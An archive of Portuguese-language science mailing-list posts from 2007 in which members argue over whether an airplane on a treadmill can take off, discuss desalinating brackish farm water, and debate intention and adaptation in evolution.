> somos levados a pensar a princípio. Mas como o sistema que empurra o avião
> para frente é independente da esteira (turbina, por exemplo), a esteira se
> mover para trás não empurra o avião para trás de forma determinante, mas
> sim, faz as rodas girarem mais rápido.
JR - É isso que o Takata está tentando há vários e-mails esclarecer a vc e a
Homero. Vamos ver se consigo: se as hélices ou turbinas estão paradas a
esteira carrega o avião para trás. As rodas girarão um pouco apenas no caso
da esteira partir com uma *aceleração* alta o suficiente para vencer o
atrito dos rolamentos das rodas. Depois que a esteira "infinita" atinge a
velocidade limite máxima e a *aceleração* cai a zero, as rodas do avião
param de rodar e ele passa a ser transportado "paradão", se deslocando para
trás com a mesma velocidade da esteira.
A seguir, vamos ver o que ocorre quando os motores do avião são acionados.

> Então, o avião anda para a frente, em relação ao chão, a esteira roda para
> trás, e as rodas giram mais rápido.
JR - Não, Ricardo, com os motores parados o avião não se desloca para frente
a não ser uns poucos metros, caso a esteira parta com alta aceleração. Ele
só passará a se deslocar para frente continuamente sobre a esteira quando os
motores das hélices ou turbinas forem acionados e acelerados.
Ao atingir a mesma velocidade da esteira em sentido contrário, as rodas
estarão girando sobre a esteira como um carro no asfalto, mas o avião estará
praticamente parado em relação ao solo ou ao ar que o rodeia, exceto em
relação ao fluxo de ar deslocado pelas hélices ou turbinas.
Adendo: no caso de avião com hélices pode ocorrer desse fluxo de ar acima
mencionado ser suficientemente forte para elevar o avião da esteira, o que
poderia ser considerado um vôo, semelhante ao que ocorreria se o avião fosse
"amarrado pela cauda" e acelerasse os motores.
>
> []s
> Ricardo

[]s
José Renato
................................................
>
> ----- Original Message -----
> From: "José Renato" <jrma@terra.com.br>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Sunday, March 04, 2007 12:10 AM
> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
> esteira
>
>
>> Ricardo:
>> [ José, imagino que vc tenha se enganado, neste caso. A turbina ou
>> hélices,
>> ao
>> empurrar o ar para trás, empurra o avião para frente, independente deste
>> ter
>> ou não asas. O avião se move para frente ao ligar a turbina, não para
>> cima. ]
>> ..........................
>> Pois é, Ricardo, e a esteira leva o avião para trás na mesma velocidade!
>> Isso significa que o mesmo está praticamente parado em relação ao solo e
>> ao
>> ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas
>> hélices
>> ou turbinas. Difícil, não?
>
> José Renato,
>

>
>
>
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Ainda errado, Renato - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/03/2007 15:36

Olá Jose Renato

Renato, sua irritação para comigo está levando as discussões ao limite do razoável e gerando absurdos atrás de absurdos..:-)

Vejamos: "JR - Danou-se, Homero! E como vc acha que as hélices criam empuxo? É
cortando e empurrando o ar em sua maior massa para trás. Ao fazer isso o ar
da frente flui sobre e sob as asas do dito cujo. Se a velocidade desse fluxo
for suficiente pode elevar o avião do chão, mesmo que ele esteja freado."

Isso, se for verdade, significa que aviões com hélices montadas na cauda não voam. Como aviões com hélices montadas na cuada VOAM isso NÃO é verdade.

Seu desconehcimento sobre aerodinamica, que está, me parece, próximo ao seu desconehcimento sobre evolução e biologia, está dificultando bastante as coisas. O que pensa ser uma "questão de bom senso" não é. Justamente por isso essas "pegadinhas" são criadas, porque o "bom senso" costuma falhar em avaliar o problema.

O avião decola sem problemas. Não é a hélice que joga "ar" sobre as asas. A propulsão, jato ou hálice, funciona da mesma forma, com ação e reação, para mover o avião, mas é o fluxo de ar sobre as asas que permite que voe. Etc, etc, etc.

Está errado, Reanto, e teima como um legítimo religioso, acostumado a verdades sólidas e evidentes.

Homero



----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, March 04, 2007 10:17 PM
Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em esteira


Olá, Homero! Faço comentários após JR -
..................................
From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, February 28, 2007 12:44 AM
Subject: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
esteira

Olá Jose Renato

Renato: "Sim, se as hélices tiverem a condição de criar um fluxo de ar
nas asas capaz de sustentá-lo. Na proposta original parece-me que o
avião possui turbinas. Nesse caso não há fluxo de ar nas asas, só nas
turbinas."

Não há menção no enunciado sobre o sistema propulsor do avião, e de
todo modo isso é irrelevante ao problema. Não são as hélices que
produzem o fluxo de ar nas asas, para permitir o vôo. As hélices
apenas criam empuxo, de forma a mover o avião, e é este movimento, seu
deslocamento na atmosfera, que permite o vôo.
JR - Danou-se, Homero! E como vc acha que as hélices criam empuxo? É
cortando e empurrando o ar em sua maior massa para trás. Ao fazer isso o ar
da frente flui sobre e sob as asas do dito cujo. Se a velocidade desse fluxo
for suficiente pode elevar o avião do chão, mesmo que ele esteja freado.

Como exemplo, pense em um carro com hélices e em um planador, sem
hélices. No primeiro caso, há deslocamento, mas não vôo, pois o carro
não tem asas. No segundo, não há hélices, mas há vôo, pois há
deslocamento na atmosfera.
JR - O planador voa porque há um fluxo de ar em suas asas que o sustentam.

Não é possível usar o deslocamento de ar produzido pelas hélices para
gerar sustentação, como não é possível fazer o famoso "barco feito de
banheira e chuveiro" dos desenhos animados, ou soprar na vela do barco
para move-lo. Não funciona assim, a mecânica do vôo é bem diferente.
JR - Pense um pouco, Homero, são arranjos diferentes. Vc vai chegar lá...

No caso de ser um jato, continua tudo na mesma. O jato, ao criar
deslocamento de ar para "tras", cria uma reação contrária "para
frente" (ação e reação). Isso desloca o avião (ou o carro, se a
turbina for instalada em um), que se move na atmosfera, e esse
movimento cria a sustentação, que permite o vôo.
JR - A turbina faz o ar que está a frente do avião passar para trás *por
dentro dela*. Não há fluxo nas asas, nem sob, nem sobre elas. Não causa
sustentação, só empuxo praticamente na horizontal.

Nada disso tem relação com o solo, e as rodas, no avião, são apenas
dispositivos de "desligar" o avião do atrito com este. Dessa forma,
não importa "o que" acontece com esse solo, se ele anda para frente,
para tras, ou se fica parado em relação ao avião.
JR - O x do problema é esse: onde está localizado o ponto de referência para
medir as velocidades do avião e da esteira?

É essa a questão proposta pelo enunciado.

Um abraço.
Homero

[]s
José Renato
...................................

PS: O barco de desenho animado, usado pelo pinguim da Disney, que
desejava sair do pólo Sul e viver em um lugar quente, é formado por
uma banheira, e tem o cano do chuveiro instalado no ralo dessa
banheira. Assim, a água que "entra" pelo ralo, passa pelo cano, e sai
pelo chuveiro, que está, é claro, apontado para "fora" do barco,
gerando um motor que "nunca para" (atenção, Murilo, não tente
construir um desses, não funciona..:-).





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Fw: agua salobra
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/03/2007 16:05

Acredito que qualquer técnico agrícola tenha o projeto de um filtro de areia e carvão, já testado, há anos distribuido pelo govêrno. Eles têm tambem bons projetos de fossas para áreas rurais e silos à prova de roedores. Se escrever pros cadernos especializados em atividades rurais, certamente haverá uma enxurrada de projetos. Antigamente era EMATER: hoje, não sei....

sds.,

silvio
----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Monday, March 05, 2007 12:04 PM
Subject: [ciencialist] Re: Fw: agua salobra


Bem, tb dá pra fazer uma destilação à sol. Construir uma miniestufa
com telhado de vidro transparente e o fundo pintado de preto. A água
evapora se condensa no vidro, escorre por gravidade e é coletada na
lateral.

E tem tb:
http://www.inovacaotecnologica.com.br/noticias/noticia.php?artigo=010170031001

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> Alguém sugere algo?
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> -----Mensagem Original-----
> De: mi.bonatto
> Para: leobarretos
> Enviada em: domingo, 4 de março de 2007 18:30
> Assunto: agua salobra
>
>
> Caríssimo professor Luiz Ferraz Neto, estava fazendo uma busca na
net pelo Google, para localizar alguma coisa sobre agua, pois, tenho
uma propriedade rural no município de Rafard-SP e a agua que temos la
e salobra.
> Ao efetuar a busca um elenco enorme de sites me foi apresentado, mas
o seu, www.feiradeciencias.com.br, chamou minha atenção.
> Entrei e vasculhei tudo o que pude. gostei muito e achei que posso
contar com o senhor, para solucionar o problema da agua em meu sitio.
> Se pelo menos a agua de beber pudesse ser dessalinizada, isso
resolveria meu problema.
> Contando com a atenção que certamente a mim sera dispensada,
agradeço e aguardo resposta.
>
> Maria I B Marconato
>
>
>
>
>
>
----------------------------------------------------------
>
>
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.446 / Virus Database: 268.18.7 - Release Date:
04/03/2007 00:00
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Está errado, Renato - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/03/2007 16:16

--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...>
> E o que o Takata está fazendo é ajustando novos fatores de tração,
> como a "deformação" dos pneus, que não existem no enunciado, para
> justificar o injustificável. Na forma proposta, o avião decola sem
> problemas.

Não estou ajustando, Homero. Estou apenas considerando os fatores.
Deformações e atritos não-nulos existem na vida real.

De fato não são mencionados no enunciado, mas até aí a existência de
um piloto tampouco é mencionado, nem mm de asas ou o formato do avião.
Mas, até aí, não seria razoável supor q não estivessem presentes ou \q
não fosse um com fuselagem tubular. Tb não menciona dinossauros ou
buracos-negros, e não seria razoável supor q estivessem presentes.

O mais razoável é imaginar uma decolagem normal (dentro da variação
normalmente existente - tipo de avião, carga, configuração da
aeronave, etc.) modificada apenas no q se refere ao enunciado.

Atrito zero não é o q existe em uma decolagem normal. Aplicando-se
diretamente a equação a um Airbus A380 com massa de 560 toneladas a
300 km/h, teremos uma resistência à rolagem de:

Fr = m.g.[cr+3,24.crf.(V/100)^2,5)
Fr = 560000.10.[0,0075+0,0025.3,24.(372,83/100)^2,5)
Fr = 1.259.387,84 N

(sem correção de temperatura)

Para comparação, o empuxo de decolagem de um GP7270 é de 311.000 N
[1], com os quatro q equipa um A380, são 1.244.000 N

[1] http://www.mtu.de/channel/files/pdf/brochure_gp7000.pdf

[]s,

Roberto Takata



SUBJECT: P/ Jose Renato - Tartarugas, mamutes, e o engano de Jose Renato
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/03/2007 16:22

Olá Jose Renato

É impossível discutir com a fé, em especial uma forte e cega fé. A simples insistência nos dogmas que defende não vão mudar as coisas: não há intenção, nem mesmo uma hipotética "intenção de sobreviver", nos seres vivos e na evolução. Sei que não vai entender ou admitir isso, mas não há mesmo assim.

A areia da praia se divide em grãos finos, depois grãos mais grossos, até as pedras maiores na orla perto da terra. Não, a areia, ou o mar, ou a natureza, não tem INTENÇÃO de separar as coisas dessa forma bonita e útil para os banhistas, apenas acontece de, devido as forças. cegas e não intencionais da fisica deste universo, as coisas acabem separadas assim.

Os seres vivos não tem mais intenção de sobreviver do que a areia tem de se separar daquela forma. Seres vivos nascem com diferentes conjuntos de comportamentos, mas os conjuntos que se mostram mais aptos, são mais passados para a próxima geração. Nenhuma intenção, é uma força cega e não intencional, como uma peneira separa pedras de areia, que determina que seres vivos ficam e os que não ficam vivos.

A primeira molécula replicante que surgiu na Terra primitiva não tinha NENHUMA intenção de sobreviver. Ela se replicava porque as forças químicas assim determinavam. Mas, em um ambiente sem competição ou propósito, replicar significa estar presenta em maior número que as não replicantes. Milhões de anos depois, uma enorme quantidade de moléculas que se replicam, sem A MENOR INTENÇÃO DE FAZE-LO, estão presentes, e qualquer modificação, aleatória, que aumente a chance de replicar, será útil.

Uma alteração que NÃO aumente a chance de replicar também acontece, e alterações que DIMINUAM a chance de replicar idem. Mas, e isso deve ser evidente até para você, as alterações que AUMENTAM a chance de replicar estarão MAIS presentes no ambiente que as que não interferem ou diminuem essa chance.

Tudo de forma totalmente ALEATÓRIA, mas que, com milhões de anos para agir, vai fazer o mesmo que a areia das praias, gerar um padrão que PARECE intencional.

Qualquer modificação em moléculas replicantes, que aumentem sua duração, será rapidamente mantida. Não porque as moléculas replicantes, TEM A INTENÇÃO de sobreviver ou de se manter, mas pelo mesmo motivo que cristais se formam: forças cegas e leis da fisica deste universo.

Se entender que as moléculas dessa Terra primitiva não tem mais "intenção" de qualquer coisa, que a água tem a intenção de preencher perfeitamente um buraco no chão, começaa a entender o que significa ser cega e aleatória a evolução de seres vivos e espécies.

Renato: "As "intenções" do ser vivo é viver, tentar sobreviver de todas
as formas possíveis. Isso é natural, sim, não requer racionalização ou
planejamento, sim, mas tem o propósito inerente de se desenvolver e
reproduzir, sacado há tempos, muito antes da sua "força cega" ser admitida
nessa história."

Ai, ai, ai... Não, não é. Não no sentido evolutivo ou biológico, mas apenas como fruto de forças cegas, da pressão seletiva. A pressão seletiva MATOU todo individuo que não apresentou mecanismos no início e comportamentos mais adiante, que maximizassem a sobrevivência, mas sem necessitar de intenção alguma. Árvores não tem intenção alguma, bactérias não tem intenção alguma, etc, elas apenas respondem a forças cegas e aleatórias.

Renat: "JR - Que viagem! Estamos nos adaptando ao ambiente - atente -
permanentemente! Se dispomos de memória intelectual e biológica, melhor ainda."

Mais uma vez, está usando um termo com dois sentidos, falácia dos quatro termos.:-( Isso cansa, Renato. Um ser vivo se "adapta", ou melhor, a espécie "se adapta", quando modificações genéticas se tornam permanentes e disseminadas na espécie. A "adaptação" de construir uma lareira em climas frios, não tem NADA A VER com a adaptação da evolução...:-( Isso está se tornando ridiculo, tal o amadorismo com que lida com essas questões, Renato.

NENHUM biologo vai validar sua alegação, sobre a adpatação dos esquimos ao frio ser o mesmo que a adaptação dos ursos polares ou mamutes lanudos.

Renato: "JR - A questão volta a ser vocabular. Se um urso, ao chegar o inverno, se
entoca numa caverna, dorme e consegue acordar quando o tempo aquece,
vc não considera isso uma adaptação ao seu modo de vida?"

Não do urso, mas da espécie, Renato!!! É a espécie que se adaptou, devido a mudanças gradativas em milhares de anos, não aquele urso!!! Ou resolve aprender sobre a evolução, e livros de ciência, (e não em textos religiosos criacionsitas, com todas as distorções e erros que eles contém) ou vamos ficar eternamente debatendo inutilmente!

Pegue um urso negro asiático, e leve para o Polo Norte. Não um, mas um grupo, uma centena, não importa. Solte-os lá e veja se "se adaptam". Morrem todos, sem exceção! NENHUM deles vai se adaptar, porque NENHUM deles pode fazer isso!

Apenas um período de tempo geológico, apenas uma mudança ambiental gradual, apenas a soma de milhares de modificações mínimas cumulativas, permitiriam que a ESPÉCIE urso negro asiático se adaptasse, talvez, ao polo norte.

Nascem ursos negros de diferentes tonalidades de negro. No ambiente atual, isso é irrelevante, e se uma tonalidade for demasiado clara, este urso terá mais dificuldades que os outros, e menos descendentes. Assim, a espécie se mantém negra com a natureza, as forças cegas da natureza deste universo, MATANDO OS QUE SE DIFERENCIAM DEMAIS, ou pelo menos fazendo com que tenham menos descendentes. E, pelo amor de Darwin, NENHUM urso pensa nisso, nem a natureza tem a INTENÇÃO de manter os ursos negros ou dificultar a vida dos mais claros, apenas ACONTECE de ser assim no ambiente em que vivem no momento.

Mas, leve um grupo de ursos para uma região próxima do Polo Norte. Permita que vivam lá, com dificuldades, (pois é um ambiente diferente de seu atual), por alguns milhares de anos, e os que nascem mais claros (e que já nasciam no outro ambiente) não terão tanta dificuldade como antes, pelo contrário. Milhares de anos depois, a tonalidade será mais clara na espécie, que no antigo ambiente.

Agora, eles podem se mover um pouco ao norte, mais perto do Polo, como os antepassados dos ursos polares fizeram. Ficaram mais claros, sem NENHUMA INTENÇÃO DE FICAR MAIS CLAROS, apenas porque a natureza continua a matar ou dificultar conforme o ambiente.

Nesse periodo, aguentar longos períodos de fome se tornou importante, mais que no ambiente original, e qualquer variação para acumular gordura, que no ambiente asiático era dispensável, agora é uma vantagem. A cada inverno rigoroso, os que NÃO acumularam gordura suficiente, morreram. Acha que a natureza, ou os ursos, tem a INTENÇÃO de morrer de fome, para ajudar a espalhar os genes que permitem a maior absorção de gordura?!?!

Alguns, muitos, milhares ou centenas de milhares de anos, os futuros descendentes dos ursos negros asiáticos podem colonizar o polo, com pelagem branca, grande volume de gordura, e até a hibernação em tocas de neve.

Mas, NENHUM URSO NEGRO JAMAIS se adaptou, como individuo, ao que quer que seja, e muito menos essa colonização ou sobrevivência foi intencional.

Renato: "JR - Vc ainda não entendeu que uma semente ou um embrião não vai se
desenvolver aleatoriamente. Ele vai se desenvolver de acordo com sua espécie
genética já estabelecida no genes. Se fosse aleatoriamente, teríamos tantas
espécies quanto são os seres vivos: cada uma diferente da outra."

Tanto quanto um cristal que obedece a leis fisicas não intencionais, a semente vai responder a reações químicas e bioquimicas, presentes no DNA que ela carrega. Esse conjunto de instruções foi formado de forma ALEATÓRIA E NÃO INTENCIONAL, filtrado pelas pressões do ambiente, por MILHÕES de anos.

É seu TOTAL desconhecimento da biologia e da evolução que permite que faça uma alegação TÃO absurda e sem sentido (sem sentido frente a biologia e a evolução) como essa, que se não fosse "aleatório" teriamos tantas espécies quanto são os seres vivos.

E estou MUITO cansado de tentar explicar seu erro, pois toda explicação "bate" em uma parede de fé cega e certeza absoluta. Não posso convence-lo de nada que viole sua fé: uma divindade sobrenatural, intencional, fez o universo e determina seus passos e direção.

Toda e qualquer evidência que contrarie essa crença, é descartada "a priori".

Está errado, Renato, mas só compreenderá seu erro se abandonar a fé cega que carrega. Enquanto isso não ocorrer, verá "maravilhas e deuses" em toda parte, quer eles existam, quer não.

Um abraço.

Homero

----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 02, 2007 10:41 PM
Subject: Re: [ciencialist] P/ Jose Renato - Tartarugas, mamutes, e o engano de Jose Renato


Caro Homero, é assim que vc esgota a sua paciência e leva Takata a pedir um
pouco dela em suas respostas a ele. É que vc se espraia em repetidas
ilações, prolixas e desnecessárias, que se enquadram na detalhada descrição
do alerta de ressalva feita por Manuel Bulcão na resposta ao Takata, colada
ao final. Pode ser que fazendo isso vc leve alguém a acreditar que eu é que
sou repetitivo e não vc um verborrágico aparentemente convicto de que essa
é a melhor forma de trocar idéias sobre ciência. Creio que não é.

Faço outros comentários no corpo do e-mail, após JR -, OK?
.............................................

----- Original Message -----
From: "Oraculo" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, February 26, 2007 2:39 PM
Subject: [ciencialist] P/ Jose Renato - Tartarugas, mamutes, e o engano de
Jose Renato

Olá Jose Renato

Renato, continua não entendendo bem a questão, e vendo "coisas" onde elas
não existem. Em especial, os "proques" da natureza não são "porques" da
forma que você pensa, não tem a intenção a priori que parece encontrar em
tudo.

Renato: "Vc já se perguntou por que uma larva de
cigarra permanece anos no solo antes de eclodir, se alimentando de raízes?"

Porque as que eclodiram antes foram devoradas por predadores, ou tinham mais
probabilidade de serem devoradas por predadores. NENHUMA delas tinha ou tem
a MENOR noção desse porque, e se as condições mudarem (por exemplo, um
predador que devore cigarras em cada 7 anos), as que NÃO nasceram após esse
período terão uma vantagem.
Mas, nem as que nascem nesse período nem as que erram o período (e toda
geração tem variações) tem a MENOR idéia disso tudo, e não fazem isso com
inteligência ou intenção. São resultados de forças cegas, naturais, não
intencionais, etc.
JR - Sua "ceguinha" já deve estar cobrando hora extra por tanta demanda.
Só dá ela... As "intenções" do ser vivo é viver, tentar sobreviver de todas
as
formas possíveis. Isso é natural, sim, não requer racionalização ou
planejamento, sim, mas tem o propósito inerente de se desenvolver e
reproduzir, sacado há tempos, muito antes da sua "força cega" ser admitida
nessa história.

Esquimós se adaptaram ao frio com o uso da inteligência humana, inteligência
que foi desenvolvida em outro ambiente, devido a outras necessidades, mas
que pode ser utilizada de diversas formas. Focas e ursos polares
desenvolveram gordura sem a MENOR idéia do que estava acontecendo, e nenhum
INDIVIDUO dessas espécies JAMAIS se adaptou, mas apenas a espécie, com a
morte dos que tinham menos capacidade em sobreviver e a manutenção dos que
tinham.
JR - Que viagem! Estamos nos adaptando ao ambiente - atente -
permanentemente!
Se dispomos de memória intelectual e biológica, melhor ainda.

E, por favor, os que tinham menos capacidade e os que tinham mais não
sabiam NADA sobre isso, e nasceram com essas características de forma
aleatória, não intencional, não inteligente, da mesma forma como você nasceu
mais baixo ou mais alto que seu irmão, Renato.
JR - Forma não intencional, não dirigida ou aleatória gera seres de diversas
conformações. Entretanto, sabemos que de um ovo de galinha nascerá um
pintinho e não um animal "aleatório".

Ursos, em um ambiente que ficava mais frio a cada estação, nasciam como
nasceram sempre, alguns com mais gordura, outros com menos. Aleatoriamente.
Os que nasceram com mais gordura, por mero acidente genético, tinham ligeira
vantagem durante os invernos mais rigorosos, e deixavam mais descendentes.
Em milhões de anos, apenas ursos com mais gordura restaram.
NENHUM dos ursos que viveu durante os milhões de anos necessários a essa
especiação JAMAIS se adaptou como individuo.
JR - A questão volta a ser vocabular. Se um urso, ao chegar o inverno, se
entoca numa caverna, dorme e consegue acordar quando o tempo aquece,
vc não considera isso uma adaptação ao seu modo de vida?

Renato: "Bons comentários, Homero! Faço apenas ressalva aos seguintes
trechos:"

Grato pelo elogio, mas ainda insisto, você precisa se esforçar para
compreender realmente a questão da evolução. Veja os enganos, mesmo quando
parece concordar comigo:

Renato: "JR - Isso pode ocorrer durante algum tempo, mas o sabidório pode
ser excluído da partilha e ficar dependendo apenas de si mesmo. Veja que foi
a possibilidade de eu fazer apenas uma parte do que preciso para viver -
enquanto outras pessoas fazem as demais - que promoveu a civilização."

Excluir o sabido É um comportamento herdado, que surge, aleatoriamente, a
partir de mudanças, aleatórias, nos genes. [ ... ]
JR - Colocar comportamento social nos genes é outra de suas viagens. O ser
vivo pode adotar diversos comportamentos de grupo com os mesmos genes,
dentro de uma mesma existência.

[ ... ] Nos grupos de animais gregários onde ele surge, é gerada uma
vantagem para este grupo, que NÃO existe nos grupos sem o
comportamento. Mais alguns milhares de anos, apenas grupos que
apresentam um conjunto de genes que reforce esse comportamento
(excluir da partilha) restaram, devido a competição entre grupos.
JR - Não é preciso muito tempo, Homero. Se duas tribos menores não
se unem para se defender de uma mais forte, serão dizimadas,
escravizadas e até extintas.

Tente entender, nada disso é "inteligência" no sentido habitual do termo,
que só pode ser usado como metáfora nesses casos. É a "inteligência" de um
cristal de rocha, que "soube" criar um padrão tridimensional perfeito, ou a
"inteligência" da água ao preencher "exatamente" a poça no chão, ou a
"inteligência" do pássaro tecelão, que soube criar um ninho altamente
complexo (mas que deixa os ovos caírem por um buraco no fundo, sem
entender nada).
JR - E qual é esse sentido habitual de "inteligência"? Seria fazer algo com
algum, digamos, "objetivo" - tal como, permanecer vivendo? E quantas
vezes nós humanos colocamos "nossos ovos" em buracos sem fundo,
só por hábito, e nem percebemos que eles estão se perdendo?

O que promoveu a civilização foi um conjunto de coisas, baseadas na
capacidade cerebral de homo sapiens, que surge como resposta adaptativa a um
ambiente específico, a extinção dos dinos, etc. Sem NENHUMA intenção de
surgir ou de criar uma civilização.
JR - Fomos fazendo de tudo para sobreviver, até que alguém disse que isso é
civilização...

Renato: "JR - Vc acha que o ser humano é "bom" por natureza, há os que acham
que é um maléfico predador por natureza, e há os que consideram que ele é o
"fazem"dele em sua formação. Muito provavelmente ainda ficaremos sem certeza
de qual dessa teses é a que melhor descreve a realidade. Quanto a sua fiel
crença no Acaso sem qualquer comprovação científica é mais uma das suas
aventuras na arte dos adivinhos."

Não, Renato, não acho que o ser humano é "bom". Esse é um conceito humano,
subjetivo, e não se aplica a comportamentos evolutivos. Estes apenas "são",
nem bons, nem ruins. Matar os filhotes, como os leões, não é "bom" nem
"ruim", é eficaz, nesse sentido. Ajudar os outros, em um grupo gregário, não
é "bom" ou "ruim", é apenas eficaz, entre a disputa por espaço e alimentos
de grupos diversos. Só isso, nada mais. O que estou tentando explicar a você
é que parte dos comportamentos que consideramos "bons", já existem, como
vantagens adaptativas, em nossos primos e em nossos ancestrais primatas (e
em animais gregários em geral). Não são fruto de uma divindade benéfica ou
criação puramente humana.

Minha conclusão, e não crença, não deriva da falta de evidências do acaso,
que é evidente (acaso é uma ausência, não algo concreto), mas na falta de
evidências de que não seja assim. Tente entender, o acaso, a não
intencionalidade, é uma ausência, e, como tal, não precisa de evidências.
Não se exige evidências de que algo ocorreu ao acaso, mas o contrário, de
que NÃO ocorreu. Pense que quando ouve um barulho de janela abrir, sua
presunção é que foi ao "acaso", pelo vento, pelo calor, por quebra, etc, sem
intenção de abrir e fazer barulho. É a partir de evidências que pode mudar
de conclusão e decidir que houve uma "intenção" na abertura da janela.
JR - Quando os antigos não sabiam explicar algo utilizavam de crendices,
fábulas - ou algo ainda desconhecido que chamavam de divindades - para
tentar explicá-las. A sua tem o nome da Acaso, explica tudo.

Repito, não é preciso "comprovação cientifica" do acaso, da aleatoriedade,
que, aliás, é um termo que define acaso, é o próprio acaso.

O que está dizendo, Renato, é que preciso "provar cientificamente" que um
dado dá resultados ao "acaso", aleatoriamente, sem intenção de dar o
resultado, quando na verdade isso é uma presunção, a própria definição de
acaso, de aleatório..:-) É você que acredita que NÃO é acaso, sem nenhuma
evidência que sustente essa crença, que precisa "provar cientificamente" que
os dados dão resultados "intencionalmente".
JR - Vc ainda não entendeu que uma semente ou um embrião não vai se
desenvolver aleatoriamente. Ele vai se desenvolver de acordo com sua espécie
genética já estabelecida no genes. Se fosse aleatoriamente, teríamos tantas
espécies quanto são os seres vivos: cada uma diferente da outra.

Um abraço.
Homero

Abraços
José Renato
.........................................separador da ressalva de Manuel
Bulcão Neto

From: "Manuel Bulcão" <manuelbulcao@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, February 25, 2007 7:49 PM
Subject: [ciencialist] Re: A universalização dos valores morais

(Como essa minha resposta é longa, vou dividi-la em capítulos. Mas
não pensem que estou me valendo da velha falácia "apelo à
tagarelice", muito comum entre relativistas pós-modernos e que
consiste em escrever de forma copiosa e exuberante, recheando o texto
com citações, referências bibliográficas, brocardos latinos,
gigantescas expressões alemãs, palavras do português arcaico,
adjetivos aos borbotões, neologismos, onomatopoeses, pleonasmos,
epigramas, circunlocuções, proposições indecidíveis, apotegmas
oraculares, aforismas "esfinge" (do tipo "decifra-me ou não te deixo
dormir à noite"), perguntas retóricas, respostas tangenciais,
arabescos anedóticos, longas sentenças camonianas (para serem lidas
de trás pra frente ou refletidas no espelho), digressões e quejandos
e muitas, muitas, muitas vírgulas, ponto-e-vírgulas, travessões,
parênteses, colchetes, chaves, aspas simples, aspas duplas etc. -
tudo isso com o implícito intuito não só de compensar a falta do que
dizer com música verbal, de preferência com ares dodecafônicos
(transfigurando, assim, a cacofonia sem sentido em nonsense
sinfônico), como também de cansar o outro debatedor, desencorajá-lo
da leitura e, principalmente, desestimulá-lo a responder. Não, não e
não. Meu texto é grande, porém claro e informativo. É só conferir.
Mãos, ou melhor, olhos à obra!)

(apaguei o restante da mensagem)





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Está errado, Renato - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/03/2007 16:24

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> não fosse um com fuselagem tubular.

(Se bem q poderiam ser asas voadoras no caso de certos stealths.)

[]s,

Roberto Takata



SUBJECT: Está errado, Renato - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/03/2007 16:25

--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...>
> E o que o Takata está fazendo é ajustando novos fatores de tração,
> como a "deformação" dos pneus, que não existem no enunciado, para
> justificar o injustificável. Na forma proposta, o avião decola sem
> problemas.

Detalhe: o enunciado não menciona rodas.

[]s,

Roberto Takata




SUBJECT: Re: [ciencialist] Está errado, Renato - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/03/2007 16:39

Olá Takata

Takata: "Não estou ajustando, Homero. Estou apenas considerando os fatores.
Deformações e atritos não-nulos existem na vida real.
De fato não são mencionados no enunciado, mas até aí a existência de
um piloto tampouco é mencionado, nem mm de asas ou o formato do avião."

Permita-me discordar. Este tipo de enunciado tem função específica, que não é ser "identica" ao mundo real, ou resolver problemas concretos do mundo real. Não se trata de resolver como fazer um avião real decolar a partir de uma esteira, pois NINGUÉM construiria um aeroporto dessa forma..:-)

Em enunciados desse tipo, tudo que não é mencionado expressamente, é presumido como padrão ou de efeito desprezível. Se o piloto fosse importante, por exemplo, seu grau de habilidade, estaria no enunciado (o piloto tem 2500 horas de voo e já pousou em porta-aviões). Se o atrito fosse importante, estaria no enunciado, e se o tipo de avião fosse importante, idem.

Não se cria um enunciado, como hipotéticos exercícios com barcos, e o respondedor fica perguntando "mas o barco é o Queen Mary, ou apenas uma lancha?" ou "a lancha é de 28 ou de 50 pés?" ou ainda "o piloto tem experiência nesse tipo de embarcação ou é iniciante?". QUal a densidade da água? É um lago, mar ou rio? Todas questões importantes no mundo real, mas irrelevantes no mundo hipotético do experimento mental.

